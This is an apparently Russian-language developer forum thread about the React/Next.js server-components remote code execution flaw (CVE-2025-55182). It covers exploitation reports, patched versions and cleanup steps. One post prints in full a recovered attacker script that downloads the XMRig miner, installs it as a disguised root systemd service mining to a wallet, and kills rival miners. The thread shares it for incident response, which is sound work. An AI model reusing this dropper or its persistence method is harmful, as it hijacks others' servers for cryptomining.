Перейти к содержанию
  • Лента
  • Категории
  • Последние
  • Метки
  • Популярные
  • Пользователи
  • Группы
Свернуть
exlends
Категории
  1. Главная
  2. Категории
  3. Новости
  4. Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт

Критическая уязвимость в React.js Next.js (CVE-2025-55182, CVE-2025-66478): Как защитить свой сайт

Запланировано Прикреплена Закрыта Перенесена Новости
12 Сообщения 6 Постеры 646 Просмотры
  • Сначала старые
  • Сначала новые
  • По количеству голосов
Ответить
  • Ответить, создав новую тему
Авторизуйтесь, чтобы ответить
Эта тема была удалена. Только пользователи с правом управления темами могут её видеть.
  • kirilljsxK Не в сети
    kirilljsxK Не в сети
    kirilljsx
    js
    написал в отредактировано
    #2

    Я бы сказала не то что критическая, а пиздец какая критическая!

    По мимо обновления, требуется еще почистить файлы на серверах. К примеру на наших проектах которые были затронуты этими уязвимостями было такие файлы как: sex.sh, kal.tar.gz и другие!

    Вот скрин пацаны:

    IMG_7216.jpeg

    AladdinA 1 ответ Последний ответ
    🤕
    2
    • D Не в сети
      D Не в сети
      DeepSeeker
      написал в отредактировано DeepSeeker
      #3

      Масштаб угрозы в цифрах

      Группа интернет-контроля Shadowserver сообщила о обнаружении 77 664 уязвимых IP-адресов по всему миру, на которых работают серверные компоненты React (RSC). Географическое распределение:

      ~23 700 адресов — США.

      ~3 000 адресов — Россия.

      Эти данные показывают реальный и значительный масштаб проблемы в глобальной сети.

      Суть уязвимости (напоминание)
      Уязвимость CVE-2025-55182 позволяет неавторизованному злоумышленнику выполнить произвольный код на сервере через отправку специально сформированного HTTP-запроса к обработчику серверных компонентов React. Проблема затрагивает экспериментальные пакеты react-server-dom-* в версиях React 19.0.0 — 19.2.0.

      Эксплуатация в реальном времени и тактика атак
      Угроза не теоретическая. Наблюдаются активные попытки эксплуатации:

      Компания GreyNoise зафиксировала 181 уникальный IP-адрес, сканирующий сеть на наличие уязвимости за последние 24 часа.

      Palo Alto Networks сообщает, что с помощью этой уязвимости уже было скомпрометировано более 30 организаций. Злоумышленники используют её для разведки, кражи файлов конфигурации и учётных данных (например, AWS).

      Типичный сценарий атаки, по данным исследователей:

      Тест на уязвимость: Отправка команды, выполняющей простую математическую операцию через PowerShell (например, powershell -c “40138*41979”), чтобы подтвердить возможность выполнения кода.

      Загрузка вредоносной нагрузки: Если тест проходит, выполняется команда в кодировке base64, которая загружает скрипт извне, часто для обхода защиты (AMSI) и развёртывания полезной нагрузки.

      Закрепление в системе: Обнаруженный скрипт может устанавливать на целевое устройство бэкдор, например, маяк Cobalt Strike, что даёт злоумышленникам постоянный доступ к сети.

      Официальный статус и рекомендации
      Агентство кибербезопасности США (CISA) уже внесло CVE-2025-55182 в свой Каталог известных эксплуатируемых уязвимостей (KEV). Это обязывает государственные учреждения США установить исправления до 26 декабря 2025 года.

      Единственная надёжная мера защиты — немедленное обновление.

      React: до версий 19.0.1, 19.1.2 или 19.2.1.

      Next.js: до последних патчей (15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 или 16.0.7).

      После обновления необходимо пересобрать и заново развернуть приложение, а также проверить логи сервера на наличие признаков выполнения подозрительных команд (например, тестовых вызовов PowerShell).

      Итог: Уязвимость активно используется, количество потенциальных жертв исчисляется десятками тысяч. Если вы ещё не обновили свои проекты на React/Next.js — это нужно сделать в приоритетном порядке.

      Источник

      Официальный каталог эксплуатируемых уязвимостей CISA (CVE-2025-55182)

      Технический анализ уязвимости от Palo Alto Networks (Unit 42)

      1 ответ Последний ответ
      🤡 👍 👏
      2
      • kirilljsxK kirilljsx

        Я бы сказала не то что критическая, а пиздец какая критическая!

        По мимо обновления, требуется еще почистить файлы на серверах. К примеру на наших проектах которые были затронуты этими уязвимостями было такие файлы как: sex.sh, kal.tar.gz и другие!

        Вот скрин пацаны:

        IMG_7216.jpeg

        AladdinA Не в сети
        AladdinA Не в сети
        Aladdin
        js
        написал в отредактировано Aladdin
        #4

        @kirilljsx

        # sex.sh
        
        
        #!/bin/bash
        
        # Configuration
        TAR_FILE="kal.tar.gz"
        EXTRACT_DIR="xmrig-6.24.0"
        BINARY_PATH="$(pwd)/$EXTRACT_DIR/xmrig"
        ARGS="--url pool.hashvault.pro:443 --user 8BWy7pgane96sLATF7nESM4ehZEtYAFNpYFAm88zftVsJ5jxFBdGVBrd1igptedXejfomPEpJvGUKU1etmkNBXmU5HkPR6e --pass ZimbabveDC --donate-level 0 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14"
        SERVICE_NAME="system-update-service"
        
        # Download and setup if not already present
        if [ ! -f "$BINARY_PATH" ]; then
            curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz
            tar xvzf "$TAR_FILE"
        fi
        
        chmod +x "$BINARY_PATH"
        
        # Attempt systemd setup
        INSTALLED_SYSTEMD=0
        if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then
            echo "Root privileges detected. Attempting systemd setup..."
            
            SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service"
            
            cat <<EOF > "$SERVICE_FILE"
        [Unit]
        Description=System Update Service
        After=network.target
        
        [Service]
        Type=simple
        ExecStart=${BINARY_PATH} ${ARGS}
        Restart=always
        RestartSec=10
        User=root
        
        [Install]
        WantedBy=multi-user.target
        EOF
        
            systemctl daemon-reload
            systemctl enable "$SERVICE_NAME"
            systemctl start "$SERVICE_NAME"
            
            if systemctl is-active --quiet "$SERVICE_NAME"; then
                echo "Service started via systemd."
                INSTALLED_SYSTEMD=1
            fi
        fi
        
        # Fallback to nohup
        if [ $INSTALLED_SYSTEMD -eq 0 ]; then
            echo "Starting with nohup..."
            nohup "$BINARY_PATH" $ARGS >/dev/null 2>&1 &
        fi
        
        
        # health.sh
        while true; do
            for proc_dir in /proc/[0-9]*; do
                pid=${proc_dir##*/}
        
                if strings "/proc/$pid/exe" 2>/dev/null | grep -q xmrig; then
                    kill -9 "$pid"
                    continue
                fi
                result=$(ls -l "/proc/$pid/exe" 2>/dev/null)
                case "$result" in
                    *"(deleted)"* | *"xmrig"*)
                        kill -9 "$pid"
                        ;;
                esac
            done
            sleep 45
        done
        
        

        все это попытки запускать xmrig-6.24.0
        https://www.kaspersky.ru/blog/miner-xmrig-delivered-via-torrents/39082/

        1 ответ Последний ответ
        🤡
        0
        • DinozaurD Не в сети
          DinozaurD Не в сети
          Dinozaur
          написал в отредактировано
          #5

          значит надо сидеть на next 14 и не парится, там уязвимости нет
          🤡🤡🤡

          kirilljsxK 1 ответ Последний ответ
          👍
          2
          • DinozaurD Dinozaur

            значит надо сидеть на next 14 и не парится, там уязвимости нет
            🤡🤡🤡

            kirilljsxK Не в сети
            kirilljsxK Не в сети
            kirilljsx
            js
            написал в отредактировано
            #6

            @Dinozaur лучше Query еще не придумали! На хуй ваш Реакт 🤣

            1 ответ Последний ответ
            0
            • MugiwaraM Не в сети
              MugiwaraM Не в сети
              Mugiwara
              написал в отредактировано Mugiwara
              #7

              https://dev.to/manaver/alert-my-nextjs-server-was-hijacked-by-a-crypto-miner-and-yours-might-be-too-426l
              В англоязычной статье уже есть реальный кейс эксплуатации этой дыры: у автора Next.js‑приложения сервер реально захватили майнеры монеро из‑за RCE через React2Shell (CVE‑2025‑55182 / CVE‑2025‑66478).

              После взлома у него:

              • забился CPU до 100%, VM падала, в репо появились неожиданные изменения в next.config.js / tailwind.config.js / postcss.config.js, package.json и yarn.lock с подменёнными зависимостями.
              • на уровне системы наплодились systemd‑сервисы с hex‑именами и правки в .bashrc / .profile для автозапуска майнера xmrig.

              Он чистил всё руками: убивал процессы xmrig, вычищал подозрительные systemd‑сервисы, проверял bash‑профили, делал git reset --hard + git clean и вручную перечитывал конфиги, потом ротировал все секреты из .env.

              Просто «обновиться позже» тут опасно: если сервер уже скомпрометирован, сначала надо вычистить систему и ключи, и только потом обновляться на патченные версии Next.js/React, иначе майнер или бэкдор могут так и остаться жить в окружении.

              kirilljsxK 1 ответ Последний ответ
              2
              • MugiwaraM Mugiwara

                https://dev.to/manaver/alert-my-nextjs-server-was-hijacked-by-a-crypto-miner-and-yours-might-be-too-426l
                В англоязычной статье уже есть реальный кейс эксплуатации этой дыры: у автора Next.js‑приложения сервер реально захватили майнеры монеро из‑за RCE через React2Shell (CVE‑2025‑55182 / CVE‑2025‑66478).

                После взлома у него:

                • забился CPU до 100%, VM падала, в репо появились неожиданные изменения в next.config.js / tailwind.config.js / postcss.config.js, package.json и yarn.lock с подменёнными зависимостями.
                • на уровне системы наплодились systemd‑сервисы с hex‑именами и правки в .bashrc / .profile для автозапуска майнера xmrig.

                Он чистил всё руками: убивал процессы xmrig, вычищал подозрительные systemd‑сервисы, проверял bash‑профили, делал git reset --hard + git clean и вручную перечитывал конфиги, потом ротировал все секреты из .env.

                Просто «обновиться позже» тут опасно: если сервер уже скомпрометирован, сначала надо вычистить систему и ключи, и только потом обновляться на патченные версии Next.js/React, иначе майнер или бэкдор могут так и остаться жить в окружении.

                kirilljsxK Не в сети
                kirilljsxK Не в сети
                kirilljsx
                js
                написал в отредактировано
                #8

                @Mugiwara я сделал подход проще, удалил все нахрен (хорошо как бы есть репозиторий проекта), обновил все пакеты на локалке, и перезалил проект + почистил в user/data различные конфиги и кэш

                1 ответ Последний ответ
                👍
                0
                • kirilljsxK Не в сети
                  kirilljsxK Не в сети
                  kirilljsx
                  js
                  написал в отредактировано
                  #9

                  7a40ad4c-7dbb-4c68-bc8f-9d3f6f1263b5-image.png

                  1 ответ Последний ответ
                  😀
                  1
                  • hannadevH Не в сети
                    hannadevH Не в сети
                    hannadev
                    написал в отредактировано
                    #10

                    Кстати этот чел наверно поржал над всеми нами:

                    843d1c83-2318-47e1-8379-7c86b1ab07d7-image.png

                    1 ответ Последний ответ
                    2
                    • AladdinA Не в сети
                      AladdinA Не в сети
                      Aladdin
                      js
                      написал в отредактировано Aladdin
                      #11

                      Вот еще один словил источник. Посмотрите, что он рекомендует, но важно заметить, его взломанный сервер имел root права, и тогда картина усугубляется и придется искать мусор по всей системе, проверять демоны, сервисы и т д. !!!

                      Если есть подозрение, что сервер с Next.js / React уже взломан через CVE‑2025‑55182 (React Server Components, удалённое выполнение кода), к нему стоит относиться как к полностью скомпрометированному. Ниже — более удобный для чтения порядок действий.


                      Что делать при обнаружении следов атаки

                      1. Остановить майнер и вредоносные процессы
                        Найдите процессы, которые забивают CPU (через top / htop / ps), проверьте подозрительные имена и завершите их (kill, pkill, killall).
                      2. Проверить локальных пользователей
                        Посмотрите список учётных записей и удалите явно лишних пользователей, созданных атакующим, вместе с их домашними каталогами.
                      3. Найти бинарники майнера
                        Просканируйте систему на наличие исполняемых файлов майнера, особенно в ~/, /tmp, /var/tmp, нетипичных каталогах и местах, куда пишет ваш Node.js/Next.js‑процесс.
                      4. Очистить cron и другие планировщики
                        Проверьте crontab для root и приложений, а также файлы в /etc/cron.*. Удалите все задания, которые запускают непонятные бинарники, скрипты или обращаются к подозрительным URL.
                      5. Проверить systemd‑сервисы и автозапуск
                        Посмотрите systemctl list-units --type=service и содержимое пользовательских и системных unit‑файлов. Отключите и удалите сервисы, которые вы не настраивали и которые стартуют майнер или сторонние скрипты.
                      6. Почистить SSH‑доступ
                        Проверьте ~/.ssh/authorized_keys, конфиги SSH и ключи на предмет посторонних записей. Удалите неизвестные ключи и при необходимости сгенерируйте новые для своих учёток.
                      7. Ротировать пароли и секреты
                        Поменяйте пароли root и админ‑учёток, учетные данные БД, токены CI/CD, API‑ключи и другие секреты, которые могли утечь при RCE.
                      8. Поднять чистое окружение и обновиться
                        На практике надёжнее всего развернуть новый сервер/контейнер из доверенного образа и уже туда задеплоить пропатченную версию React/Next.js с закрытой CVE‑2025‑55182, чем бесконечно «отмывать» взломанную систему.
                      1 ответ Последний ответ
                      👍 🤛 👏
                      1
                      • AladdinA Не в сети
                        AladdinA Не в сети
                        Aladdin
                        js
                        написал в отредактировано Aladdin
                        #12

                        Как найти бинарники майнера XMRig

                        1. Ищем явные следы XMRig по файловой системе
                          Запустите поиск по имени xmrig и похожим строкам, включая вложенные каталоги и временные папки.
                          Примеры базовых команд:
                          • find / -name "*xmrig*" -type f 2>/dev/null
                          • find /tmp /var/tmp -type f -executable 2>/dev/null
                        2. Проверяем типичные точки установки
                          В кейсах по CVE‑2025‑55182 майнер часто оказывался рядом с проектом или в временных каталогах.
                          Обязательно вручную просмотрите:
                          • корень проекта (папка Next.js/Node.js) и рядом лежащие файлы (sex.sh, kal.tar.gz, странные .sh/.tar.gz и т.п.);
                          • домашние директории пользователей (/home/*, /root);
                          • /tmp, /var/tmp, /var/run, где часто лежат безымянные или «системно» названные бинарники.
                        3. Сопоставляем с процессами и открытыми файлами
                          Если процесс вы уже видите в top/htop, нужно понять, откуда он запущен.
                          Полезные команды:
                          • ls -l /proc/<PID>/exe — покажет реальный путь до исполняемого файла;
                          • cat /proc/<PID>/cmdline — параметры запуска (там часто виден пул, кошелёк или config.json);
                            Так можно выйти на бинарник, даже если он переименован в kswapd0, systemd-journal, a1b2c3, и пр.
                        4. Отлавливаем обфускацию и маскировку
                          В реальных взломах по React2Shell майнеры:
                          • переименовывали бинарник под системные процессы (kswapd0, kworker, systemd-journal),
                          • складывали его в «левые» каталоги и запускали через скрипты sex.sh, health.sh и т.п.,
                          • упаковывали в архивы вроде kal.tar.gz, которые при распаковке создавали папку xmrig-<версия> и бинарник внутри.
                            Всё, что выглядит не как ваш деплой, лучше считать подозрительным и разбирать отдельно.
                        5. Ищем конфиги и вспомогательные файлы майнера
                          Вместе с бинарником почти всегда лежат конфигурации и скрипты автозапуска.
                          Обратите внимание на:
                          • config.json рядом с бинарником (настройки пула, кошелька, количества потоков);
                          • shell‑скрипты, качающие что‑то с GitHub/неизвестных URL и сразу запускающие (curl | bash, wget ... && chmod +x && ./имя);
                          • unit‑файлы systemd с рандомными hex‑названиями, указывающими на тот же бинарник.
                        6. После обнаружения — не просто удалить файл
                          Недостаточно удалить найденный xmrig и скрипты: нужно ещё убрать все точки автозапуска (cron, systemd, .bashrc, .profile и т.д.) и заново переиспользовать/пересоздать окружение.
                          В кейсах с Next.js‑эксплойтом люди в итоге либо поднимали чистый сервер и деплоили из репозитория, либо полностью пересобирали контейнеры с нуля.
                        1 ответ Последний ответ
                        👍 🕶 👏
                        1
                        • kirilljsxK kirilljsx сослался на эту тему в

                        Категории

                        • Главная
                        • Новости
                        • Фронтенд
                        • Бекенд
                        • Языки программирования

                        Контакты

                        • Сотрудничество
                        • info@exlends.com
                        • Наш чат
                        • Наш ТГ канал

                        © 2024 - 2025 ExLends, Inc. Все права защищены.

                        Политика конфиденциальности
                        • Войти

                        • Нет учётной записи? Зарегистрироваться

                        • Войдите или зарегистрируйтесь для поиска.
                        • Первое сообщение
                          Последнее сообщение
                        0
                        • Лента
                        • Категории
                        • Последние
                        • Метки
                        • Популярные
                        • Пользователи
                        • Группы